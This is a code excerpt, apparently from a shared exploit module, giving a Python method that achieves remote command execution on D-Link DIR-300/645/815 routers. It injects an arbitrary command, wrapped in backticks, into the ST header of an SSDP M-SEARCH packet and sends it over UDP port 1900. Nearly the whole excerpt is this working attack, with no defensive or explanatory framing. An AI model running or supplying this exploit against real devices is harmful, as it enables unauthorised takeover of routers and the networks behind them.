dir_300_645_815_upnp_rce.py 文件源码

def execute(self, cmd):
        buf = ("M-SEARCH * HTTP/1.1\r\n"
               "Host:239.255.255.250:1900\r\n"
               "ST:uuid:`" + cmd + "`\r\n"
               "Man:\"ssdp:discover\"\r\n"
               "MX:2\r\n\r\n")

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(10)
            sock.connect((self.target, 1900))
            sock.send(buf)
            sock.close()
        except socket.error:
            pass

        return ""